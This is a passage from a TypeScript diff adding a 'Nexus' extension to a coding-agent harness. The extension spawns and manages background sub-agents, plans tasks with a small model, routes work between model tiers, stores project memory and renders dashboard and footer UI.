ctx.ui.notify(`#${a.id} auto-retrying (recoverable error detected)...`, "info"); + const retryPrompt = `${prompt}\n\n[RETRY CONTEXT: Previous attempt failed with this error — please handle it gracefully]\n${errorSnippet}`; + spawnProcess(a, retryPrompt, ctx, isCont).then(async (retryResult) => { + await deliverResult(a, retryResult.output, retryResult.exitCode, ctx); + }); + return; + } + + await deliverResult(a, output, exitCode, ctx); + }); + } + + async function deliverResult(a: SubAgent, output: string, exitCode: number, ctx: ExtensionContext) { + const status = exitCode === 0 ? "✓" : "✗"; + const elapsed = Math.round(a.elapsed / 1000); + const turn = a.turnCount > 1 ? ` (Turn ${a.turnCount})` : ""; + const retry = a.retryCount > 0 ? ` ↺${a.retryCount}` : ""; + const truncated = output.length > MAX_RESULT_LEN ? output.slice(0, MAX_RESULT_LEN) + "\n\n... [truncated]" : output; + + ctx.ui.notify(`#${a.id} [${a.role}] ${status} ${elapsed}s`, exitCode === 0 ? "info" : "error"); + notifyOS( + `Nexus #${a.id} [${a.role}] ${status}`, + `${elapsed}s · ${a.toolCount} tools · $${a.cost.toFixed(4)} · ${a.task.slice(0, 50)}`, + exitCode === 0 ? "success" : "error", + ); + + pi.sendMessage({ + customType: "nexus-result", + content: `**Sub-agent #${a.id}** [${a.role}]${turn}${retry} — ${status} ${elapsed}s | ${a.toolCount} tools | $${a.cost.toFixed(4)}\n\n${truncated}`, + display: "assistant", + }, { deliverAs: "followUp", triggerTurn: true }); + + // Auto-extract memory on success + if (exitCode === 0) { + await autoExtractMemory(output, a.task, ctx); + } + } + + // ══════════════════════════════════════════════════════════════════════ + // TOOLS + // ══════════════════════════════════════════════════════════════════════ + + const roleList = ROLES.map(r => `${r.name} (${r.description})`).join(", "); + + pi.registerTool({ + name: "nexus_spawn", + label: "Spawn Sub-Agent", + description: `Spawn a background sub-agent for heavy tasks. Preserves main chat context. Results auto-deliver when done.\n\nRoles: ${roleList}. Custom roles from .pi/agents/*.md also available.`, + promptGuidelines: [ + "Spawn sub-agents for multi-file, long-running, or context-heavy work", + "Use role='scout' for exploration, 'builder' for code, 'reviewer' for review, 'tester' for tests", + "Spawn multiple agents in parallel for independent tasks", + "Continue chatting while sub-agents work — results arrive automatically", + ], + parameters: Type.Object({ + task: Type.String({ description: "Complete task description — sub-agent receives conversation context automatically" }), + role: Type.Optional(Type.String({ description: "Agent role. Default: general" })), + }), + async execute(_id, params, _sig, onUpdate, ctx) { + widgetCtx = ctx; + const id = nextId++; + const a: SubAgent = { + id, status: "queued", task: params.task, role: params.role || "general", + tools: findRole(params.role || "general").tools, textChunks: [], toolCount: 0, + elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), + turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0, + }; + agents.set(id, a); + if (onUpdate) onUpdate({ content: [{ type: "text", text: `Spawning #${id} [${a.role}]...` }], details: { id, role: a.role } }); + const enrichedPrompt = await buildContextBridge(ctx, params.task); + spawnAndDeliver(a, enrichedPrompt, ctx, false); + return { content: [{ type: "text", text: `Sub-agent #${id} [${a.role}] running in background. Continue chatting.` }], details: { id, role: a.role } }; + }, + renderCall(args, theme) { + const r = (args as any).role || "general"; + const t = ((args as any).task || "").slice(0, 55); + return new Text(theme.fg("toolTitle", theme.bold("nexus_spawn ")) + theme.fg("accent", `[${r}] `) + theme.fg("muted", t), 0, 0); + }, + renderResult(result, _opts, theme) { + const d = result.details as any; + if (!d) return undefined; + return new Text(theme.fg("success", `◉ #${d.id}`) + theme.fg("dim", ` [${d.role}] background`), 0, 0); + }, + }); + + pi.registerTool({ + name: "nexus_continue", + label: "Continue Sub-Agent", + description: "Continue a finished sub-agent's conversation with follow-up instructions.", + parameters: Type.Object({ + id: Type.Number({ description: "Sub-agent ID" }), + prompt: Type.String({ description: "Follow-up instructions" }), + }), + async execute(_cid, params, _sig, _upd, ctx) { + widgetCtx = ctx; + const a = agents.get(params.id); + if (!a) return { content: [{ type: "text", text: `No #${params.id} found.` }] }; + if (a.status === "running") return { content: [{ type: "text", text: `#${params.id} still running.` }] }; + a.textChunks = []; a.toolCount = 0; a.elapsed = 0; a.turnCount++; + spawnAndDeliver(a, params.prompt, ctx, true); + return { content: [{ type: "text", text: `#${params.id} continuing (Turn ${a.turnCount}).` }] }; + }, + }); + + pi.registerTool({ + name: "nexus_status", + label: "Agent Status", + description: "Check all sub-agents.", + parameters: Type.Object({}), + async execute() { + if (agents.size === 0) return { content: [{ type: "text", text: "No sub-agents." }] }; + const lines = Array.from(agents.values()).map(a => { + const e = a.status === "running" ? Math.round((Date.now() - a.startTime) / 1000) : Math.round(a.elapsed / 1000); + const retry = a.retryCount > 0 ? ` ↺${a.retryCount}` : ""; + return `#${a.id} [${a.role}${retry}] ${a.status} — ${e}s, ${a.toolCount} tools, $${a.cost.toFixed(4)}\n ${a.task}`; + }); + return { content: [{ type: "text", text: lines.join("\n") }] }; + }, + }); + + pi.registerTool({ + name: "nexus_kill", + label: "Kill Sub-Agent", + description: "Kill/remove a sub-agent.", + parameters: Type.Object({ id: Type.Number() }), + async execute(_cid, params) { + const a = agents.get(params.id); + if (!a) return { content: [{ type: "text", text: `No #${params.id}.` }] }; + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + agents.delete(params.id); + flushWidget(); + return { content: [{ type: "text", text: `#${params.id} removed.` }] }; + }, + }); + + pi.registerTool({ + name: "nexus_collect", + label: "Collect Results", + description: "Collect and synthesize results from all finished sub-agents.", + parameters: Type.Object({ + synthesize: Type.Optional(Type.Boolean({ description: "Use LLM to synthesize results. Default: true" })), + }), + async execute(_id, params, _sig, _upd, ctx) { + const done = Array.from(agents.values()).filter(a => a.status === "done" || a.status === "error"); + if (done.length === 0) return { content: [{ type: "text", text: "No results to collect." }] }; + + let totalCost = 0; + const parts = done.map(a => { + const out = a.textChunks.join(""); + const trunc = out.length > 6000 ? out.slice(0, 6000) + "\n... [truncated]" : out; + totalCost += a.cost; + return `## ${a.status === "done" ? "✓" : "✗"} #${a.id} [${a.role}] ${Math.round(a.elapsed / 1000)}s\nTask: ${a.task}\n\n${trunc}`; + }); + const rawOutput = `${done.length} results ($${totalCost.toFixed(4)})\n\n${parts.join("\n\n---\n\n")}`; + + const shouldSynthesize = params.synthesize !== false; + if (!shouldSynthesize) return { content: [{ type: "text", text: rawOutput }] }; + + // LLM synthesis with Haiku + try { + const haiku = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!haiku) return { content: [{ type: "text", text: rawOutput }] }; + const apiKey = await ctx.modelRegistry.getApiKey(haiku); + if (!apiKey) return { content: [{ type: "text", text: rawOutput }] }; + + const response = await complete(haiku, { + systemPrompt: `You are synthesizing results from multiple parallel coding agents. Given their outputs, produce a concise synthesis with these sections: +## Executive Summary +## Key Findings +## Action Items +## Open Questions +Be specific and actionable. Reference specific files/lines where relevant.`, + messages: [{ role: "user" as const, content: rawOutput.slice(0, 8000), timestamp: Date.now() }], + }, { reasoning: "off" }); + + const synthesis = response.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map(c => c.text).join(""); + + return { content: [{ type: "text", text: `${synthesis}\n\n---\n\n### Raw Outputs\n${rawOutput}` }] }; + } catch { + return { content: [{ type: "text", text: rawOutput }] }; + } + }, + }); + + pi.registerTool({ + name: "nexus_remember", + label: "Store Memory", + description: "Store important project facts in persistent memory (.pi/memory.md). Use for tech stack, conventions, key decisions, recurring issues.", + parameters: Type.Object({ + key: Type.String({ description: "Memory category e.g. 'tech_stack', 'conventions', 'bug_fixes'" }), + value: Type.String({ description: "What to remember" }), + mode: Type.Optional(Type.Union([Type.Literal("append"), Type.Literal("replace")])), + }), + async execute(_id, params, _sig, _upd, ctx) { + updateMemory(ctx.cwd, params.key, params.value, params.mode || "replace"); + projectMemory = readMemory(ctx.cwd); + return { content: [{ type: "text", text: `Stored in memory: [${params.key}] ${params.value.slice(0, 80)}` }] }; + }, + }); + + pi.registerTool({ + name: "nexus_plan", + label: "Plan & Spawn", + description: "Decompose a complex goal into parallel + sequential subtasks, then spawn optimal agents for each.", + parameters: Type.Object({ + goal: Type.String({ description: "High-level goal to accomplish" }), + context: Type.Optional(Type.String({ description: "Additional context" })), + }), + async execute(_id, params, _sig, onUpdate, ctx) { + widgetCtx = ctx; + if (onUpdate) onUpdate({ content: [{ type: "text", text: "Planning task decomposition..." }] }); + + const haiku = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!haiku) return { content: [{ type: "text", text: "Planner unavailable (no Haiku model)." }] }; + const apiKey = await ctx.modelRegistry.getApiKey(haiku); + if (!apiKey) return { content: [{ type: "text", text: "No API key for planner." }] }; + + const availableRoles = getAllRoles().map(r => r.name).join(", "); + const planPrompt = `Decompose this goal into subtasks for a coding agent team. +Goal: ${params.goal} +${params.context ? `Context: ${params.context}` : ""} +Available roles: ${availableRoles} +cwd: ${ctx.cwd} + +Respond with ONLY JSON (no markdown): +{ + "parallel": [{"role": "...", "task": "..."}], + "sequential": [{"role": "...", "task": "...", "dependsOn": "parallel"}] +} + +Rules: +- parallel: tasks that can run simultaneously (e.g. scout different areas, review different files) +- sequential: tasks that need parallel results first (e.g. builder after scouts report) +- max 3 parallel tasks, max 2 sequential +- tasks must be self-contained with enough context to execute +- use scout for exploration, builder for implementation, reviewer/tester for QA`; + + try { + const response = await complete(haiku, { + systemPrompt: "You are a task planning expert for a software engineering team.", + messages: [{ role: "user" as const, content: planPrompt, timestamp: Date.now() }], + }, { reasoning: "off" }); + + const text = response.content.filter((c): c is { type: "text"; text: string } => c.type === "text").map(c => c.text).join(""); + const jsonStr = text.replace(/```json?\n?/g, "").replace(/```/g, "").trim(); + const plan = JSON.parse(jsonStr); + + const parallel: Array<{ role: string; task: string }> = plan.parallel || []; + const sequential: Array<{ role: string; task: string }> = plan.sequential || []; + + if (onUpdate) { + const planSummary = [ + `Plan for: ${params.goal}`, + `Parallel (${parallel.length}): ${parallel.map(p => `[${p.role}] ${p.task.slice(0, 40)}`).join(", ")}`, + sequential.length > 0 ? `Sequential (${sequential.length}): ${sequential.map(s => `[${s.role}] ${s.task.slice(0, 40)}`).join(", ")}` : "", + ].filter(Boolean).join("\n"); + onUpdate({ content: [{ type: "text", text: planSummary }] }); + } + + const spawnedIds: number[] = []; + + // Spawn parallel agents + for (const p of parallel) { + const id = nextId++; + const role = findRole(p.role); + const a: SubAgent = { + id, status: "queued", task: p.task, role: p.role, + tools: role.tools, textChunks: [], toolCount: 0, + elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), + turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0, + }; + agents.set(id, a); + spawnedIds.push(id); + const enrichedPrompt = await buildContextBridge(ctx, p.task); + spawnAndDeliver(a, enrichedPrompt, ctx, false); + } + + // Queue sequential agents (spawn after a short note — they'll wait for parallel in the real world, + // but here we spawn them with a note about depending on parallel results) + for (const s of sequential) { + const id = nextId++; + const role = findRole(s.role); + const a: SubAgent = { + id, status: "queued", task: s.task, role: s.role, + tools: role.tools, textChunks: [], toolCount: 0, + elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), + turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0, + }; + agents.set(id, a); + spawnedIds.push(id); + const enrichedPrompt = await buildContextBridge(ctx, `${s.task}\n\n[Note: This task depends on parallel agents completing first. Parallel agent IDs: ${spawnedIds.slice(0, parallel.length).join(", ")}]`); + spawnAndDeliver(a, enrichedPrompt, ctx, false); + } + + const summary = `Plan executed: ${parallel.length} parallel + ${sequential.length} sequential agents spawned (IDs: ${spawnedIds.join(", ")})`; + return { content: [{ type: "text", text: summary }], details: { plan, spawnedIds } }; + } catch (err: any) { + return { content: [{ type: "text", text: `Planning failed: ${err?.message}. Try /nx spawn manually.` }] }; + } + }, + }); + + // ══════════════════════════════════════════════════════════════════════ + // CORE ROUTING LOGIC — LLM-POWERED + // ══════════════════════════════════════════════════════════════════════ + + pi.on("before_agent_start", async (event, ctx) => { + widgetCtx = ctx; + const usage = ctx.getContextUsage(); + const contextPct = usage?.percent ?? null; + const activeAgentCount = Array.from(agents.values()).filter(a => a.status === "running").length; + + // Extract memory snippet for classifier context + const memorySnippet = projectMemory ? projectMemory.slice(0, 300) : ""; + + // ── Step 1: LLM Classification ───────────────────────────────────── + let classification: ClassificationResult | null = null; + if (!tierLocked || (autoDelegate && mode !== "interactive")) { + ctx.ui.setWorkingMessage("classifying task..."); + classification = await classifyWithLLM(event.prompt, ctx, contextPct, activeAgentCount, memorySnippet); + ctx.ui.setWorkingMessage(); + classifierCost += (150 * 0.80 + 30 * 4.00) / 1_000_000; + } + + // ── Step 2: Model Routing ────────────────────────────────────────── + if (!tierLocked && classification) { + let target = classification.tier - 1; + let thinking = classification.thinking; + if (target === 0 && totalToolCalls > 10) target = 1; + if (consecutiveErrors >= 2 && target < 2) { + target = Math.min(target + 1, 2); + if (thinking === "off" || thinking === "low") thinking = "medium"; + } + if (contextPct !== null && contextPct > 80 && target < 1) target = 1; + await switchTier(target, classification.reason, ctx, thinking); + } + + // ── Step 3: Build system prompt addons ──────────────────────────── + let systemAddons = ""; + + // Always inject project memory if available + if (projectMemory.trim()) { + systemAddons += `\n\n## Project Memory\n${projectMemory}`; + } + + // ── Step 4: Auto-Delegation ──────────────────────────────────────── + if (classification?.offload && autoDelegate && (mode === "hybrid" || mode === "delegator")) { + if (contextPct !== null && contextPct > CONTEXT_WARN_PCT) { + ctx.ui.setStatus("nexus-ctx", `⚠️ Context ${Math.round(contextPct)}%`); + } else { + ctx.ui.setStatus("nexus-ctx", undefined); + } + + const roles = getAllRoles().map(r => `${r.name}: ${r.description}`).join("\n"); + const contextWarn = (contextPct !== null && contextPct > CONTEXT_WARN_PCT) + ? `\n⚠️ CONTEXT AT ${Math.round(contextPct)}% — strongly prefer sub-agents for this work.\n` + : ""; + + return { + systemPrompt: event.systemPrompt + systemAddons + `\n\n## Nexus: Sub-Agent Delegation Recommended +The task classifier determined this task should be **offloaded to a sub-agent** (reason: "${classification.reason}"). + +You have these tools: nexus_spawn, nexus_continue, nexus_plan, nexus_status, nexus_kill, nexus_collect, nexus_remember. +${contextWarn} +**Strongly prefer spawning a sub-agent** for this task rather than doing it inline. This preserves the main chat context. + +Available roles:\n${roles} + +Sub-agents run in background with their own context. You can spawn multiple for parallel work. Results auto-deliver.`, + }; + } else { + ctx.ui.setStatus("nexus-ctx", undefined); + if (systemAddons) { + return { systemPrompt: event.systemPrompt + systemAddons }; + } + } + }); + + // ── Turn & Tool Tracking ─────────────────────────────────────────────── + + pi.on("turn_start", async () => { + toolsThisTurn = 0; + editWriteThisTurn = 0; + turnCount++; + turnsSinceSwitch++; + }); + + pi.on("tool_execution_start", async (event) => { + toolsThisTurn++; + totalToolCalls++; + if (event.toolName === "edit" || event.toolName === "write") editWriteThisTurn++; + }); + + pi.on("tool_execution_end", async (event, ctx) => { + if (event.isError) { + consecutiveErrors++; + if (consecutiveErrors >= 2 && !tierLocked && currentTier < 2) { + await switchTier(currentTier + 1, `${consecutiveErrors} consecutive errors`, ctx); + } + } else { + consecutiveErrors = 0; + } + }); + + pi.on("turn_end", async (_event, ctx) => { + if (!tierLocked) { + if (editWriteThisTurn >= 4 && currentTier < 2) { + await switchTier(2, `heavy: ${editWriteThisTurn} edits/writes`, ctx); + } else if (toolsThisTurn >= 6 && currentTier < 1) { + await switchTier(1, `busy: ${toolsThisTurn} tool calls`, ctx); + } + } + const opusCost = (2000 * TIERS[2].inputCost + 1000 * TIERS[2].outputCost) / 1e6; + const actualCost = (2000 * TIERS[currentTier].inputCost + 1000 * TIERS[currentTier].outputCost) / 1e6; + savedVsOpus += opusCost - actualCost; + }); + + // ── /nx Command ──────────────────────────────────────────────────────── + + pi.registerCommand("nx", { + description: "Nexus controls: /nx [spawn|plan|memory|retry|chain|kill|clear|mode|auto|lock|unlock|tier]", + getArgumentCompletions: (prefix: string): AutocompleteItem[] | null => { + const items = [ + { value: "spawn ", label: "spawn " }, + { value: "plan ", label: "plan " }, + { value: "memory", label: "show memory" }, + { value: "retry ", label: "retry " }, + { value: "chain ", label: "chain " }, + { value: "kill ", label: "kill " }, + { value: "clear", label: "clear all agents" }, + { value: "mode hybrid", label: "mode hybrid" }, + { value: "mode interactive", label: "mode interactive" }, + { value: "mode delegator", label: "mode delegator" }, + { value: "auto on", label: "auto on" }, + { value: "auto off", label: "auto off" }, + { value: "lock", label: "lock model" }, + { value: "unlock", label: "unlock model" }, + { value: "tier ", label: "tier 1|2|3" }, + ]; + return items.filter(i => i.value.startsWith(prefix)); + }, + + async handler(args, ctx) { + widgetCtx = ctx; + const parts = (args || "").trim().split(/\s+/); + const sub = parts[0]?.toLowerCase(); + + if (!sub) { + const tier = TIERS[currentTier]; + const modeIcon = mode === "hybrid" ? "⚡" : mode === "delegator" ? "📡" : "💬"; + const usage = ctx.getContextUsage(); + const pct = usage?.percent ? Math.round(usage.percent) : "?"; + const agentLines = agents.size === 0 ? " (none)" : Array.from(agents.values()).map(a => { + const e = a.status === "running" ? Math.round((Date.now() - a.startTime) / 1000) : Math.round(a.elapsed / 1000); + const retry = a.retryCount > 0 ? ` ↺${a.retryCount}` : ""; + return ` #${a.id} [${a.role}${retry}] ${a.status} ${e}s $${a.cost.toFixed(4)} — ${a.task.slice(0, 50)}`; + }).join("\n"); + + const lastRoute = tierHistory.length > 0 + ? tierHistory.slice(-3).map(h => ` Turn ${h.turn}: ${h.reason}`).join("\n") + : " (none yet)"; + + const memFile = join(ctx.cwd, MEMORY_FILE); + const memStatus = existsSync(memFile) + ? `exists (${Math.round(readFileSync(memFile, "utf-8").length / 1024 * 10) / 10}KB)` + : "none"; + + pi.sendMessage({ + customType: "nexus-dashboard", + content: [ + ``, + `✦ Nexus Dashboard v2`, + ` Model: ${tier.icon} ${tier.name} [${lastThinking}]${tierLocked ? " 🔒" : ""}`, + ` Mode: ${modeIcon} ${mode} | Auto: ${autoDelegate ? "on" : "off"} | Context: ${pct}%`, + ` Switches: ${totalSwitches} | Saved: $${savedVsOpus.toFixed(4)} | Classifier: $${classifierCost.toFixed(4)}`, + ` Memory: ${memStatus}`, + ``, + ` Sub-Agents (${agents.size}):`, + agentLines, + ``, + ` Recent Routing:`, + lastRoute, + ``, + ` /nx spawn|plan|memory|retry|chain|kill|clear|mode|auto|lock|unlock|tier`, + ``, + ].join("\n"), + display: "assistant", + }); + return; + } + + if (sub === "spawn") { + const task = parts.slice(1).join(" ").trim(); + if (!task) { ctx.ui.notify("Usage: /nx spawn ", "error"); return; } + const id = nextId++; + const a: SubAgent = { id, status: "queued", task, role: "general", tools: ROLES[0].tools, textChunks: [], toolCount: 0, elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0 }; + agents.set(id, a); + const enrichedPrompt = await buildContextBridge(ctx, task); + spawnAndDeliver(a, enrichedPrompt, ctx, false); + ctx.ui.notify(`#${id} spawned`, "info"); + + } else if (sub === "plan") { + const goal = parts.slice(1).join(" ").trim(); + if (!goal) { ctx.ui.notify("Usage: /nx plan ", "error"); return; } + ctx.ui.notify(`Planning: ${goal.slice(0, 50)}...`, "info"); + // Run planning inline + const haiku = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!haiku) { ctx.ui.notify("Planner unavailable (no Haiku model)", "error"); return; } + const apiKey = await ctx.modelRegistry.getApiKey(haiku); + if (!apiKey) { ctx.ui.notify("No API key for planner", "error"); return; } + try { + const availableRoles = getAllRoles().map(r => r.name).join(", "); + const resp = await complete(haiku, { + systemPrompt: "You are a task planning expert. Decompose goals into parallel and sequential coding subtasks. Respond ONLY with JSON, no markdown.", + messages: [{ role: "user" as const, content: `Goal: ${goal}\nRoles: ${availableRoles}\ncwd: ${ctx.cwd}\n\nRespond with JSON:\n{"parallel":[{"role":"...","task":"..."}],"sequential":[{"role":"...","task":"...","dependsOn":"parallel"}]}\nMax 3 parallel, 2 sequential. Make tasks self-contained.`, timestamp: Date.now() }], + }, { reasoning: "off" }); + const text = resp.content.filter((c): c is { type: "text"; text: string } => c.type === "text").map(c => c.text).join(""); + const plan = JSON.parse(text.replace(/```json?\n?/g, "").replace(/```/g, "").trim()); + const parallel: Array<{ role: string; task: string }> = plan.parallel || []; + const sequential: Array<{ role: string; task: string }> = plan.sequential || []; + const spawnedIds: number[] = []; + for (const p of parallel) { + const id = nextId++; + const role = findRole(p.role); + const a: SubAgent = { id, status: "queued", task: p.task, role: p.role, tools: role.tools, textChunks: [], toolCount: 0, elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0 }; + agents.set(id, a); + spawnedIds.push(id); + const ep = await buildContextBridge(ctx, p.task); + spawnAndDeliver(a, ep, ctx, false); + } + for (const s of sequential) { + const id = nextId++; + const role = findRole(s.role); + const a: SubAgent = { id, status: "queued", task: s.task, role: s.role, tools: role.tools, textChunks: [], toolCount: 0, elapsed: 0, startTime: Date.now(), sessionFile: makeSessionFile(id), turnCount: 1, inputTokens: 0, outputTokens: 0, cost: 0, retryCount: 0 }; + agents.set(id, a); + spawnedIds.push(id); + const ep = await buildContextBridge(ctx, `${s.task}\n\n[Depends on parallel agents: ${spawnedIds.slice(0, parallel.length).join(", ")}]`); + spawnAndDeliver(a, ep, ctx, false); + } + ctx.ui.notify(`Plan: ${parallel.length} parallel + ${sequential.length} sequential spawned (${spawnedIds.join(", ")})`, "info"); + } catch (err: any) { + ctx.ui.notify(`Plan failed: ${err?.message?.slice(0, 60)}`, "error"); + } + + } else if (sub === "memory") { + const mem = readMemory(ctx.cwd); + pi.sendMessage({ + customType: "nexus-memory", + content: mem ? `**Project Memory** (.pi/memory.md)\n\n${mem}` : "No memory yet. Use nexus_remember or ask the agent to remember something.", + display: "assistant", + }); + + } else if (sub === "retry") { + const id = parseInt(parts[1], 10); + const a = agents.get(id); + if (!a) { ctx.ui.notify(`No #${id}`, "error"); return; } + if (a.status === "running") { ctx.ui.notify(`#${id} is still running`, "error"); return; } + a.textChunks = []; a.toolCount = 0; a.elapsed = 0; a.retryCount++; + a.status = "queued"; + ctx.ui.notify(`#${id} retrying (manual)`, "info"); + const enrichedPrompt = await buildContextBridge(ctx, a.task); + spawnAndDeliver(a, enrichedPrompt, ctx, false); + + } else if (sub === "chain") { + const id = parseInt(parts[1], 10); + const task = parts.slice(2).join(" ").trim(); + if (!id || !task) { ctx.ui.notify("Usage: /nx chain ", "error"); return; } + const a = agents.get(id); + if (!a) { ctx.ui.notify(`No #${id}`, "error"); return; } + if (a.status === "running") { ctx.ui.notify(`#${id} still running`, "error"); return; } + a.textChunks = []; a.toolCount = 0; a.elapsed = 0; a.turnCount++; + ctx.ui.notify(`#${id} chaining: ${task.slice(0, 40)}`, "info"); + spawnAndDeliver(a, task, ctx, true); + + } else if (sub === "kill") { + const id = parseInt(parts[1], 10); + const a = agents.get(id); + if (!a) { ctx.ui.notify(`No #${id}`, "error"); return; } + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + agents.delete(id); + flushWidget(); + ctx.ui.notify(`#${id} killed`, "info"); + + } else if (sub === "clear") { + for (const [, a] of agents) { + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + } + agents.clear(); + nextId = 1; + flushWidget(); + ctx.ui.notify("Cleared", "info"); + + } else if (sub === "mode") { + const v = parts[1]?.toLowerCase() as AgentMode; + if (["interactive", "hybrid", "delegator"].includes(v)) { mode = v; ctx.ui.notify(`Mode: ${v}`, "info"); } + else ctx.ui.notify("Usage: /nx mode interactive|hybrid|delegator", "error"); + + } else if (sub === "auto") { + if (parts[1] === "on") { autoDelegate = true; ctx.ui.notify("Auto ON", "info"); } + else if (parts[1] === "off") { autoDelegate = false; ctx.ui.notify("Auto OFF", "info"); } + else ctx.ui.notify("Usage: /nx auto on|off", "error"); + + } else if (sub === "lock") { + tierLocked = true; ctx.ui.notify("🔒 Model locked", "info"); + + } else if (sub === "unlock") { + tierLocked = false; ctx.ui.notify("🔓 Model unlocked", "info"); + + } else if (sub === "tier") { + const n = parseInt(parts[1], 10); + if (n >= 1 && n <= 3) { + await switchTier(n - 1, `manual /nx tier ${n}`, ctx); + ctx.ui.notify(`${TIERS[n - 1].icon} ${TIERS[n - 1].name}`, "info"); + } else ctx.ui.notify("Usage: /nx tier 1|2|3", "error"); + + } else { + ctx.ui.notify("Unknown. Try: /nx spawn|plan|memory|retry|chain|kill|clear|mode|auto|lock|unlock|tier", "error"); + } + }, + }); + + // ── Session Start ────────────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + widgetCtx = ctx; + cwdGlobal = ctx.cwd; + sessionStartTime = Date.now(); + sessionDir = join(ctx.cwd, ".pi", "agent-sessions", "nexus"); + loadCustomRoles(ctx.cwd); + + // Load persistent memory + projectMemory = readMemory(ctx.cwd); + + // Cleanup previous + for (const [, a] of agents) { + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + } + agents.clear(); + nextId = 1; + + // Set initial model (Sonnet = balanced start) + const init = TIERS[1]; + const model = ctx.modelRegistry.find(init.provider, init.modelId); + if (model) { + await pi.setModel(model); + pi.setThinkingLevel(init.thinking); + } + currentTier = 1; + + // Footer + ctx.ui.setFooter((_tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => _tui.requestRender()); + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + const tier = TIERS[currentTier]; + const lockStr = tierLocked ? " 🔒" : ""; + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + const filled = Math.round(pct / 10) || 1; + + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && (entry as any).message.role === "assistant") { + const m = (entry as any).message as AssistantMsg; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + for (const [, a] of agents) cost += a.cost; + cost += classifierCost; + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + + const l1L = theme.fg("dim", " ") + theme.fg("accent", `${tier.icon} ${tier.name}`) + + theme.fg("dim", ` [${lastThinking}]${lockStr} `) + + theme.fg("warning", "[") + theme.fg("success", "#".repeat(filled)) + + theme.fg("dim", "-".repeat(10 - filled)) + theme.fg("warning", "]") + + theme.fg("dim", " ") + theme.fg("accent", `${Math.round(pct)}%`); + const l1R = theme.fg("success", fmt(tokIn)) + theme.fg("dim", " in ") + + theme.fg("accent", fmt(tokOut)) + theme.fg("dim", " out ") + + theme.fg("warning", `$${cost.toFixed(4)} `); + const p1 = " ".repeat(Math.max(1, width - visibleWidth(l1L) - visibleWidth(l1R))); + + const dir = basename(ctx.cwd); + const branch = footerData.getGitBranch(); + const modeIcon = mode === "hybrid" ? "⚡" : mode === "delegator" ? "📡" : "💬"; + const running = Array.from(agents.values()).filter(a => a.status === "running").length; + const memExists = existsSync(join(ctx.cwd, MEMORY_FILE)); + + const l2L = theme.fg("dim", ` ${dir}`) + + (branch ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") : "") + + theme.fg("dim", ` · ${modeIcon} ${mode}`) + + (memExists ? theme.fg("dim", " · 🧠mem") : ""); + const l2R = (running > 0 ? theme.fg("accent", `● ${running} running `) : "") + + (agents.size > 0 ? theme.fg("dim", `${agents.size} agents `) : "") + + (savedVsOpus > 0 ? theme.fg("success", `saved $${savedVsOpus.toFixed(3)} `) : ""); + const p2 = " ".repeat(Math.max(1, width - visibleWidth(l2L) - visibleWidth(l2R))); + + return [ + truncateToWidth(l1L + p1 + l1R, width, ""), + truncateToWidth(l2L + p2 + l2R, width, ""), + ]; + }, + }; + }); + + const roles = getAllRoles().map(r => r.name).join(", "); + const memStatus = projectMemory ? ` · 🧠 memory loaded` : ""; + ctx.ui.notify( + `✦ Nexus v2 active [${mode}] — LLM-powered routing\n` + + `Model: ${TIERS[1].icon} ${TIERS[1].name} (Haiku classifies → auto-routes)\n` + + `Roles: ${roles}${memStatus}\n` + + `/nx — Dashboard & controls`, + "info", + ); + }); + + // ── Session Shutdown — Write Summary ─────────────────────────────────── + + pi.on("session_shutdown", async () => { + killAll(); + + // Write session summary + try { + if (!cwdGlobal) return; + const sessDir = join(cwdGlobal, SESSIONS_DIR); + if (!existsSync(sessDir)) mkdirSync(sessDir, { recursive: true }); + + const now = new Date(); + const pad = (n: number) => String(n).padStart(2, "0"); + const filename = `${now.getFullYear()}-${pad(now.getMonth() + 1)}-${pad(now.getDate())}-${pad(now.getHours())}.md`; + const elapsed = Math.round((Date.now() - sessionStartTime) / 1000); + + let mainCost = 0; + let agentCost = 0; + for (const [, a] of agents) agentCost += a.cost; + + const done = Array.from(agents.values()).filter(a => a.status === "done"); + const errored = Array.from(agents.values()).filter(a => a.status === "error"); + const modelsUsed = new Set(); + modelsUsed.add(TIERS[currentTier].name); + for (const [, a] of agents) modelsUsed.add(selectSubAgentModel(a.role, a.task).split("/").pop() || "unknown"); + + const summary = [ + `# Nexus Session — ${now.toISOString().slice(0, 16).replace("T", " ")}`, + ``, + `## Overview`, + `- **Elapsed**: ${elapsed}s`, + `- **Total Cost**: $${(mainCost + agentCost + classifierCost).toFixed(4)} (main + $${agentCost.toFixed(4)} agents + $${classifierCost.toFixed(4)} classifier)`, + `- **Model Switches**: ${totalSwitches}`, + `- **Tool Calls**: ${totalToolCalls}`, + ``, + `## 